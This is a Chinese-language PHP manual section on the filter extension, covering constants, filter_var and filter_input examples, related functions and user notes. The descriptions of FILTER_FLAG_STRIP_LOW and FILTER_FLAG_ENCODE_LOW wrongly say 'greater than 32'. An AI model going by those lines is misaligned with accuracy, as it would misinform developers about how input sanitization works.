FILTER_FLAG_NONE (int)
没有标记。
FILTER_REQUIRE_SCALAR (int)
此标记要求输入的是标量。
FILTER_REQUIRE_ARRAY (int)
需要输入的是数组。
FILTER_FORCE_ARRAY (int)
一律返回数组。
FILTER_NULL_ON_FAILURE (int)
失败时返回 NULL，而非 FALSE。
FILTER_VALIDATE_INT (int)
标记 "int" 过滤器。
FILTER_VALIDATE_BOOL (int)
FILTER_VALIDATE_BOOLEAN 的别名。
FILTER_VALIDATE_BOOLEAN (int)
标记 "boolean" 过滤器。
FILTER_VALIDATE_FLOAT (int)
标记 "float" 过滤器。
FILTER_VALIDATE_REGEXP (int)
标记 "validate_regexp" 过滤器。
FILTER_VALIDATE_URL (int)
标记 "validate_url" 过滤器。
FILTER_VALIDATE_DOMAIN (int)
"validate_domain"过滤器的 ID。 （自 PHP 7.0.0 起可用）
FILTER_VALIDATE_EMAIL (int)
标记 "validate_email" 过滤器。
FILTER_VALIDATE_IP (int)
标记 "validate_ip" 过滤器。
FILTER_VALIDATE_MAC (int)
标记 "validate_mac_address" 过滤器。
FILTER_DEFAULT (int)
标记默认的 "unsafe_raw" 过滤器。 等同于 FILTER_UNSAFE_RAW。
FILTER_UNSAFE_RAW (int)
标记 "unsafe_raw" 过滤器。
FILTER_SANITIZE_STRING (int)
标记 "string" 过滤器。 （自 PHP 8.1.0 起弃用，使用 htmlspecialchars() 替代。）
FILTER_SANITIZE_STRIPPED (int)
标记 "stripped" 过滤器。 （自 PHP 8.1.0 起弃用，使用 htmlspecialchars() 替代。）
FILTER_SANITIZE_ENCODED (int)
标记 "encoded" 过滤器。
FILTER_SANITIZE_SPECIAL_CHARS (int)
标记 "special_chars" 过滤器。
FILTER_SANITIZE_EMAIL (int)
标记 "email" 过滤器。
FILTER_SANITIZE_URL (int)
标记 "url" 过滤器。
FILTER_SANITIZE_NUMBER_INT (int)
标记 "number_int" 过滤器。
FILTER_SANITIZE_NUMBER_FLOAT (int)
标记 "number_float" 过滤器。
FILTER_SANITIZE_MAGIC_QUOTES (int)
标记 "magic_quotes" 过滤器。 （自 PHP 7.3.0 起弃用，自 PHP 8.0.0 起移除，使用 FILTER_SANITIZE_ADD_SLASHES 替代。）
FILTER_SANITIZE_ADD_SLASHES (int)
"add_slashes"过滤器的 ID。 (自 PHP 7.3.0 起可用)
FILTER_CALLBACK (int)
标记 "callback" 过滤器。
FILTER_FLAG_ALLOW_OCTAL (int)
"int" 过滤器允许八进制（octal）标记的字符（0[0-7]+）。
FILTER_FLAG_ALLOW_HEX (int)
"int" 过滤器允许十六进制（Hex）标记的字符（0x[0-9a-fA-F]+）
FILTER_FLAG_STRIP_LOW (int)
过滤 ASCII 编码值大于 32 的字符 。
FILTER_FLAG_STRIP_HIGH (int)
过滤 ASCII 编码值大于 127 的字符 。
FILTER_FLAG_STRIP_BACKTICK (int)
移除反引号字符。
FILTER_FLAG_ENCODE_LOW (int)
字符的 ASCII 编码值大于 32。
FILTER_FLAG_ENCODE_HIGH (int)
字符的 ASCII 编码值大于 127。
FILTER_FLAG_ENCODE_AMP (int)
为 & 编码。
FILTER_FLAG_NO_ENCODE_QUOTES (int)
不要为 ' 和 " 编码。
FILTER_FLAG_EMPTY_STRING_NULL (int)
(目前不能使用。)
FILTER_FLAG_ALLOW_FRACTION (int)
"number_float" 过滤器允许小数部分。
FILTER_FLAG_ALLOW_THOUSAND (int)
"number_float" 过滤器允许使用千分位分隔符（,）。
FILTER_FLAG_ALLOW_SCIENTIFIC (int)
"number_float" 过滤器允许使用科学计数法（e、E）。
FILTER_FLAG_PATH_REQUIRED (int)
"validate_url" 过滤器，要求带路径部分。
FILTER_FLAG_QUERY_REQUIRED (int)
"validate_url" 过滤器，要求带 Query 部分。
FILTER_FLAG_SCHEME_REQUIRED (int)
要求带 scheme 的"validate_url"过滤器。 （自 PHP 7.3.0 起弃用，且自 PHP 8.0.0 起移除，因为已经隐含在过滤器中。）
FILTER_FLAG_HOST_REQUIRED (int)
要求带 host 的"validate_url"过滤器。 （自 PHP 7.3.0 起弃用，且自 PHP 8.0.0 起移除，因为已经隐含在过滤器中。）
FILTER_FLAG_HOSTNAME (int)
要求主机名使用字母数字开头，并且仅包含字母数字或连字符。（自 PHP 7.0.0 起可用）。
FILTER_FLAG_IPV4 (int)
"validate_ip" 过滤器，仅仅允许 IPv4 地址。
FILTER_FLAG_IPV6 (int)
"validate_ip" 过滤器，仅仅允许 IPv6 地址。
FILTER_FLAG_NO_RES_RANGE (int)
"validate_ip" 过滤器，禁止保留 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE (int)
"validate_ip" 过滤器，禁止私有 IP 地址。
FILTER_FLAG_EMAIL_UNICODE (int)
"validate_email" 过滤器，在邮件地址用户名部分允许 Unicode 字符。 （PHP 7.1.0 起有效）

User Contributed Notes

jcastromail at yahoo dot es 07-Jan-2021 06:46
INPUT_REQUEST was implemented in PHP < 8 (it was equal to 99) but it was removed in PHP 8.0

While INPUT_SESSION,FILTER_SANITIZE_MAGIC_QUOTES,FILTER_FLAG_SCHEME_REQUIRED,FILTER_FLAG_HOST_REQUIRED and a few others were removed in PHP 8.0.
shaman_master at list dot ru 17-Jun-2020 11:48
Note: FILTER_NULL_ON_FAILURE, FILTER_REQUIRE_SCALAR, FILTER_REQUIRE_ARRAY and FILTER_FORCE_ARRAY dont have prefix "FILTER_FLAG_" but they are FLAGS!
sixd at php dot net 23-Dec-2010 10:37
Rasmus added FILTER_SANITIZE_FULL_SPECIAL_CHARS to PHP 5.3.3.  See
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/
ext/filter/filter.c?r1=297245&r2=297244&pathrev=297245
His earlier commit to the PHP source code trunk commented that this "Added the full htmlspecialchars() functionality which includes utf-8 validation as a default filter."


示例

Table of Contents

  • 验证
  • 清理

User Contributed Notes

There are no user contributed notes for this page.


验证

Example #1 使用 filter_var() 验证电子邮件地址

<?php
$email_a = 'joe@example.com';
$email_b = 'bogus';

if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
echo "Email address '$email_a' is considered valid.\n";
}
if (filter_var($email_b, FILTER_VALIDATE_EMAIL)) {
echo "Email address '$email_b' is considered valid.\n";
} else {
echo "Email address '$email_b' is considered invalid.\n";
}
?>

以上示例会输出：

Email address 'joe@example.com' is considered valid.
Email address 'bogus' is considered invalid.

Example #2 使用 filter_var() 验证 IP 地址

<?php
$ip_a = '127.0.0.1';
$ip_b = '42.42';

if (filter_var($ip_a, FILTER_VALIDATE_IP)) {
echo "IP address '$ip_a' is considered valid.";
}
if (filter_var($ip_b, FILTER_VALIDATE_IP)) {
echo "IP address '$ip_b' is considered valid.";
}
?>

以上示例会输出：

IP address '127.0.0.1' is considered valid.

Example #3 传递选项到 filter_var()

<?php
$int_a = '1';
$int_b = '-1';
$int_c = '4';
$options = array(
'options' => array(
'min_range' => 0,
'max_range' => 3,
)
);
if (filter_var($int_a, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Integer A '$int_a' is considered valid (between 0 and 3).\n";
}
if (filter_var($int_b, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Integer B '$int_b' is considered valid (between 0 and 3).\n";
}
if (filter_var($int_c, FILTER_VALIDATE_INT, $options) !== FALSE) {
echo "Integer C '$int_c' is considered valid (between 0 and 3).\n";
}

$options['options']['default'] = 1;
if (($int_c = filter_var($int_c, FILTER_VALIDATE_INT, $options)) !== FALSE) {
echo "Integer C '$int_c' is considered valid (between 0 and 3).";
}
?>

以上示例会输出：

Integer A '1' is considered valid (between 0 and 3).
Integer C '1' is considered valid (between 0 and 3).

User Contributed Notes

There are no user contributed notes for this page.


清理

Example #1 清理和验证电子邮件地址

<?php
$a = 'joe@example.org';
$b = 'bogus - at - example dot org';
$c = '(bogus@example.org)';

$sanitized_a = filter_var($a, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_a, FILTER_VALIDATE_EMAIL)) {
echo "This (a) sanitized email address is considered valid.\n";
}

$sanitized_b = filter_var($b, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_b, FILTER_VALIDATE_EMAIL)) {
echo "This sanitized email address is considered valid.";
} else {
echo "This (b) sanitized email address is considered invalid.\n";
}

$sanitized_c = filter_var($c, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_c, FILTER_VALIDATE_EMAIL)) {
echo "This (c) sanitized email address is considered valid.\n";
echo "Before: $c\n";
echo "After: $sanitized_c\n";
}
?>

以上示例会输出：

This (a) sanitized email address is considered valid.
This (b) sanitized email address is considered invalid.
This (c) sanitized email address is considered valid.
Before: (bogus@example.org)
After: bogus@example.org

Example #2 配置默认过滤器

filter.default = full_special_chars
filter.default_flags = 0

User Contributed Notes

Chris 14-Apr-2015 07:42
While it may seem to be good practice to set the defaults in php.ini you should not assume that the end users server has the same settings as your server. Because of this you should not presume that default filtering will work out of the box for the end user.

You should ensure that all filters are declared at the site of use regardless of your own default settings. A move to a new host even for your own personal application may break due to different settings.
zeeshan dot karamat dot abbas at gmail dot com 05-Feb-2015 01:59
If we omit using a filter then PHP by default puts a filter which is FILTER_DEFAULT which will use default filter. Now the question is what is a default filter. A default filter is unsafe_raw which will allow the unsafe raw data passed on to the server. This value is available in php.ini file. It is suggested that a developer should update this value inside php.ini file as under:
filter.default = full_special_chars
filter.default_flags = 0

Whereas in php.ini file above values are by default, set as under:
;filter.default = unsafe_raw
;filter.default_flags =

Above semicolons are commented out lines so surely one needs to remove those semicolons to apply the changes made. If we do not do above things then what will happen. In that case PHP will use default filter which would surely be FILTER_UNSAFE_RAW and one can see that unsafe raw data can then be passed onto server which can make the life a hacker easier.


过滤器函数

Table of Contents

  • filter_has_var — 检测是否存在指定类型的变量
  • filter_id — 返回与某个特定名称的过滤器相关联的id
  • filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_list — 返回所支持的过滤器列表
  • filter_var_array — 获取多个变量并且过滤它们
  • filter_var — 使用特定的过滤器过滤一个变量

User Contributed Notes

fumble1 at web dot de 12-Aug-2007 10:54
I recommend you to use the FILTER_REQUIRE_SCALAR (or FILTER_REQUIRE_ARRAY) flags, since you can use array-brackets both to access string offsets and array-element -- however, not only this can lead to unexpected behaviour. Look at this example:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW));
// further checks
?>

/script.php?src[0]=foobar will cause a warning. :-(
Hence my recommendation:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_REQUIRE_SCALAR | FILTER_FLAG_STRIP_LOW));
// further checks
?>
Richard Davey rich at corephp dot co dot uk 13-Jun-2007 11:15
There is an undocumented filter flag for FILTER_VALIDATE_BOOLEAN. The documentation implies that it will return NULL if the value doesn't match the allowed true/false values. However this doesn't happen unless you give it the FILTER_NULL_ON_FAILURE flag like this:

<?php
$value = 'car';
$result = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
?>

In the above $result will equal NULL. Without the extra flag it would equal FALSE, which isn't usually a desired result for this specific filter.
ckroll at rightmedia dot com 08-May-2007 08:02
Beware, the FILTER_SANITIZE_STRING flag functions much like strip_tags, so < will get filtered from input regardless of it's actually part of a tag.  We were getting unexepected results with a graphic library we wrote when trying to print < on a dynamic button.  The url came in something like ?string=%3C (<) but after filter ran it was empty.  To get around this, you could use FILTER_UNSAFE_RAW on that one param.
user 02-Feb-2007 12:15
Below is some code using filter API to restrict access to LAN by IPv4 private address range.

These notes may save someone else a little time:

filter_input_array() is useless for running multiple filters on the same key.
No way to chain or negate filters.

<?php

/* Merciful comment! */
function FILTER_NEGATE_HACK($_){ return (bool)!$_; }

function client_is_private_ipv4(){
  return (filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) &&
            FILTER_NEGATE_HACK(filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));
}

if (! client_is_private_ipv4())
  exit('This application is restricted to local network users');

?>
vojtech at x dot cz 21-Dec-2006 06:38
Also notice that filter functions are using only the original variable values passed to the script even if you change the value in super global variable ($_GET, $_POST, ...) later in the script.

<?php
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'something'
$_GET['var'] = 'changed';
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'changed'
?>

In fact, external data are duplicated in SAPI before the script is processed and filter functions don't use super globals anymore (as explained in Filter tutorial bellow, section 'How does it work?').
vojtech at x dot cz 21-Dec-2006 05:13
Just to note that "server and env support may not work in all sapi, for filter 0.11.0 or php 5.2.0" as mentioned in Filter tutorial bellow.

The workaround is obvious:
Instead of
<?php
$var = filter_input(INPUT_SERVER, 'SERVER_NAME', FILTER_DEFAULT);
?>
use
<?php
$var = filter_var(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : NULL, FILTER_DEFAULT);
?>


检测是否存在指定类型的变量

  • ? 过滤器函数
  • filter_id ?
  • PHP Manual
  • 过滤器函数
  • 检测是否存在指定类型的变量

filter_has_var

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_has_var — 检测是否存在指定类型的变量

说明

filter_has_var(int $input_type, string $var_name): bool

参数

input_type

INPUT_GET、INPUT_POST、INPUT_COOKIE、INPUT_SERVER、INPUT_ENV 里的其中一个。

var_name

要检查的变量名。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

dezlov 30-Jul-2015 01:12
For people who are wondering whether "magic_quotes_gpc" has any affect on "filter_input" operation, here is an extract from a PHP source file:

* As the input filter acts on input data before the magic quotes function mangles data, all access through the filter() function will not have any quotes or slashes added - it will be the pure data as send by the browser.

So when using this function, there is no need to strip the slashes when "magic_quotes_gpc" is enabled.
nanhe dot kumar at gmail dot com 06-Mar-2013 02:15
Through this example i think you can better understand

    if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
    Output

    localhost/nanhe/test.php?email=1 //Email Found
    localhost/nanhe/test.php?email //Email Found
    http://localhost/nanhe/test.php //Email Not Found

Consider on second example

http://localhost/nanhe/test.php
$_GET['email']="info@nanhe.in";
if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
But output will be Email Not Found
drm at melp dot nl 16-Jan-2009 01:54
Please note that the function does not check the live array, it actually checks the content received by php:

<?php
$_GET['test'] = 1;
echo filter_has_var(INPUT_GET, 'test') ? 'Yes' : 'No';
?>

would say "No", unless the parameter was actually in the querystring.

Also, if the input var is empty, it will say Yes.


返回与某个特定名称的过滤器相关联的id

  • ? filter_has_var
  • filter_input_array ?
  • PHP Manual
  • 过滤器函数
  • 返回与某个特定名称的过滤器相关联的id

filter_id

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_id — 返回与某个特定名称的过滤器相关联的id

说明

filter_id(string $name): int|false

参数

name

待获取的过滤器名称。

返回值

如果获取成功则返回过滤器 id，如果过滤器不存在则返回 false。

参见

  • filter_list() - 返回所支持的过滤器列表

User Contributed Notes

w0n4b3 at gmail dot com 23-Jun-2011 02:47
[To get a list of filters and their IDs:]

<?php
$filters = filter_list();
foreach($filters as $filter_name) {
    echo $filter_name .": ".filter_id($filter_name) ."<br>";
}
?>
Will result in:
boolean: 258
float: 259
validate_regexp: 272
validate_url: 273
validate_email: 274
validate_ip: 275
string: 513
stripped: 513
encoded: 514
special_chars: 515
unsafe_raw: 516
email: 517
url: 518
number_int: 519
number_float: 520
magic_quotes: 521
callback: 1024


获取一系列外部变量，并且可以通过过滤器处理它们

  • ? filter_id
  • filter_input ?
  • PHP Manual
  • 过滤器函数
  • 获取一系列外部变量，并且可以通过过滤器处理它们

filter_input_array

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们

说明

filter_input_array(int $type, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

这个函数当需要获取很多变量却不想重复调用filter_input()时很有用。

参数

type

INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV之一。

options

一个定义参数的数组。一个有效的键必须是一个包含变量名的string，一个有效的值要么是一个filter type，或者是一个array 指明了过滤器、标示和选项。如果值是一个数组，那么它的有效的键可以是 filter， 用于指明 filter type，flags 用于指明任何想要用于过滤器的标示，或者 options 用于指明任何想要用于过滤器的选项。 参考下面的例子来更好的理解这段说明。

这个参数也可以是一个filter constant的整数。那么数组中的所有变量都会被这个过滤器所过滤。

add_empty

在返回值中添加 null 作为不存在的键。

返回值

成功时包含请求变量值的数组。如果通过 type 指定的输入数组没有值可以填充，当没有指定 FILTER_NULL_ON_FAILURE flag 时函数返回 null，否则为 false。其它失败返回 false。

如果过滤失败，数组值将为 false，如果变量未设置，返回 null。如果使用 FILTER_NULL_ON_FAILURE flag，变量未设置将返回 false，过滤失败将返回 null。如果 add_empty 参数为 false，不会为复位的变量添加数组元素。

示例

Example #1 filter_input_array() 示例

<?php

/* data actually came from POST
$_POST = array(
'product_id' => 'libgd<script>',
'component' => array('10'),
'version' => '2.0.33',
'testarray' => array('2', '23', '10', '12'),
'testscalar' => '2',
);
*/

$args = array(
'product_id' => FILTER_SANITIZE_ENCODED,
'component' => array('filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_ARRAY,
'options' => array('min_range' => 1, 'max_range' => 10)
),
'version' => FILTER_SANITIZE_ENCODED,
'doesnotexist' => FILTER_VALIDATE_INT,
'testscalar' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_SCALAR,
),
'testarray' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_ARRAY,
)

);

$myinputs = filter_input_array(INPUT_POST, $args);

var_dump($myinputs);
echo "\n";
?>

以上示例会输出：

array(6) {
  ["product_id"]=>
  string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["version"]=>
  string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  int(2)
  ["testarray"]=>
  array(4) {
    [0]=>
    int(2)
    [1]=>
    int(23)
    [2]=>
    int(10)
    [3]=>
    int(12)
  }
}

注释

Note:

在 INPUT_SERVER 数组中并没有 REQUEST_TIME ，因为它是被稍后插入到 $_SERVER 中的。

参见

  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_var_array() - 获取多个变量并且过滤它们
  • 过滤器类型

User Contributed Notes

cornelyu85 at yahoo dot com 22-Aug-2023 04:26
Here's an extended function that allows you to keep also the unfiltered items/args from the request, while you also apply validation to some of them:

<?php

$validationRules = [
    'foo' => [
        'filter' => FILTER_VALIDATE_REGEXP,
        'options' => ['regexp' => '/^(bar|baz)$/i']
    ]
];

$request = filter_input_array_keep_unfiltered_args(INPUT_POST, $validationRules);

var_dump($request);

function filter_input_array_keep_unfiltered_args($type, $filters, $addEmpty = true)
{
    $rawRequest = filter_input_array($type);

    $validationRules = [];
    foreach ($rawRequest as $key => $value) {
        $validationRules[$key] = isset($filters[$key]) ? $filters[$key] : ['filter' => FILTER_DEFAULT];
    }

    return filter_input_array($type, $validationRules, $addEmpty);
}

?>
sdupuis at blax dot ca 21-Jan-2014 09:36
Note that although you can provide a default filter for the entire input array there is no way to provide a flag for that filter without building the entire definition array yourself.

So here is a small function that can alleviate this hassle!

<?php
function filter_input_array_with_default_flags($type, $filter, $flags, $add_empty = true) {
    $loopThrough = array();
    switch ($type) {
        case INPUT_GET : $loopThrough = $_GET; break;
        case INPUT_POST : $loopThrough = $_POST; break;
        case INPUT_COOKIE : $loopThrough = $_COOKIE; break;
        case INPUT_SERVER : $loopThrough = $_SERVER; break;
        case INPUT_ENV : $loopThrough = $_ENV; break;
    }

    $args = array();
    foreach ($loopThrough as $key=>$value) {
        $args[$key] = array('filter'=>$filter, 'flags'=>$flags);
    }

    return filter_input_array($type, $args, $add_empty);
}
?>
CertaiN 10-Jan-2014 04:40
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:39
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
CertaiN 29-Jul-2013 10:22
This function is very useful for filtering complicated array structure.

Code:
<?php
function filter_request($var, $default_structure) {

    $ret = array();

    foreach ($default_structure as $key => $value) {
        if (!isset($var[$key])) {
            $ret[$key] = $value;
        } elseif (is_array($value)) {
            $ret[$key] = filter_request($var[$key], $value);
        } elseif (is_array($var[$key])) {
            $ret[$key] = $value;
        } else {
            $ret[$key] = $var[$key];
        }
    }

    return $ret;

}
?>

Sample Usage:
<?php
$_GET['a']['wrong_structure'] = 'foo';
$_GET['b']['c'] = 'CORRECT';
$_GET['b']['d']['wrong_structure'] = 'bar';
$_GET['unneeded_item'] = 'baz';

var_dump(filter_request($_GET, array(
    'a' => 'DEFAULT',
    'b' => array(
        'c' => 'DEFAULT',
        'd' => 'DEFAULT',
    ),
)));
?>

Sample Result:
array(2) {
  ["a"]=>
  string(21) "DEFAULT"
  ["b"]=>
  array(2) {
    ["c"]=>
    string(12) "CORRECT"
    ["d"]=>
    string(21) "DEFAULT"
  }
}
Anonymous 22-Apr-2010 12:12
Beware: if none of the arguments is set, this function returns NULL, not an array of NULL values.

/* No POST vars set in request
$_POST = array();
*/

$args = array('some_post_var' => FILTER_VALIDATE_INT);
$myinputs = filter_input_array(INPUT_POST, $args);
var_dump($myinputs);

Expected Output: array(1) { ["some_post_var"]=> NULL }

Actual Output: NULL
ville at N0SPAM dot zydo dot com 13-Mar-2010 03:18
While filtering input arrays, be careful of what flags you set besides FILTER_REQUIRE_ARRAY. For example, setting the flags like so:

<?php
$filter = array(
'myInputArr' => array('filter' => FILTER_SANITIZE_STRING,
                      'flags' => array('FILTER_FLAG_STRIP_LOW', 'FILTER_REQUIRE_ARRAY'))
);

$form_inputs = filter_input_array(INPUT_POST, $filter);
?>

.. will result in a blank $form_inputs['myInputArr'] regardless of what $_POST['myInputArr'] contains.
kibblewhite at live dot com 26-Jan-2009 07:35
If you are trying to handling multiple form inputs with same name, then you must assign the `'flags'  => FILTER_REQUIRE_ARRAY` to the definitions entry.

Example, you have a html form as such:
<form>
 <input name="t1[]" value="Some string One" />
 <input name="t1[]" value="Another String Two" />
</form>

Your definitions array will look a little like this:
$args = array(
  't1'    => array(
      'name' => 't1',
      'filter' => FILTER_SANITIZE_STRING,
      'flags'  => FILTER_REQUIRE_ARRAY)
);
Kevin 08-Jul-2008 06:37
Looks like filter_input_array isn't aware of changes to the input arrays that were made before calling filter_input_array. Instead, it always looks at the originally submitted input arrays.

So this will not work:

$_POST['my_float_field'] = str_replace(',','.',$_POST['my_float_field']);
$args = array('my_float_field',FILTER_VALIDATE_FLOAT);
$result = filter_input_array(INPUT_POST, $args);


通过名称获取特定的外部变量，并且可以通过过滤器处理它

  • ? filter_input_array
  • filter_list ?
  • PHP Manual
  • 过滤器函数
  • 通过名称获取特定的外部变量，并且可以通过过滤器处理它

filter_input

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它

说明

filter_input(
int $type,
string $var_name,
int $filter = FILTER_DEFAULT,
array|int $options = 0
): mixed

参数

type

INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER或 INPUT_ENV之一。

var_name

待获取的变量名。

filter

要应用的过滤器 ID。过滤器类型 手册页面列出了可用的过滤器。

如果省略，将使用 FILTER_DEFAULT，默认等同于 FILTER_UNSAFE_RAW。这将导致不进行任何默认过滤。

options

一个选项的关联数组，或者按位区分的标示。如果过滤器接受选项，可以通过数组的 "flags" 位去提供这些标示。

返回值

如果成功的话返回所请求的变量。如果过滤失败则返回 false，如果var_name 不存在的话则返回 null。如果标示 FILTER_NULL_ON_FAILURE 被使用了，那么当变量不存在时返回 false，当过滤失败时返回 null。

示例

Example #1 一个 filter_input() 的例子

<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

以上示例的输出类似于：

You have searched for Me &#38; son.
<a href='?search=Me%20%26%20son'>Search again.</a>

参见

  • filter_var() - 使用特定的过滤器过滤一个变量
  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_var_array() - 获取多个变量并且过滤它们
  • 过滤器类型

User Contributed Notes

HonzaZ 05-Aug-2022 10:57
In fastcgi sapi implementations, filter_input(INPUT_SERVER) can return empty results.

In my case (8.1.9 64bit php-cgi) it was caused by auto_globals_jit enabled . When disabled (in php.ini on php startup), filter_input(INPUT_SERVER) works correctly.

php-fpm sapi isn't affected.
DoubleT 17-Aug-2018 07:44
Discovered interesting behavior when modifying super-globals directly.
$_GET['p'] = 1;
filter_input(INPUT_GET,'p'); //value is NULL

Is this expected?
John Smith 21-Nov-2014 04:48
1. The description of the options parameter is misleading. In order to pass the options (e.g. default, min_range and max_range) you must pass an associative array with a key called "options", which itself is an associative array containing option name => option value pairs.

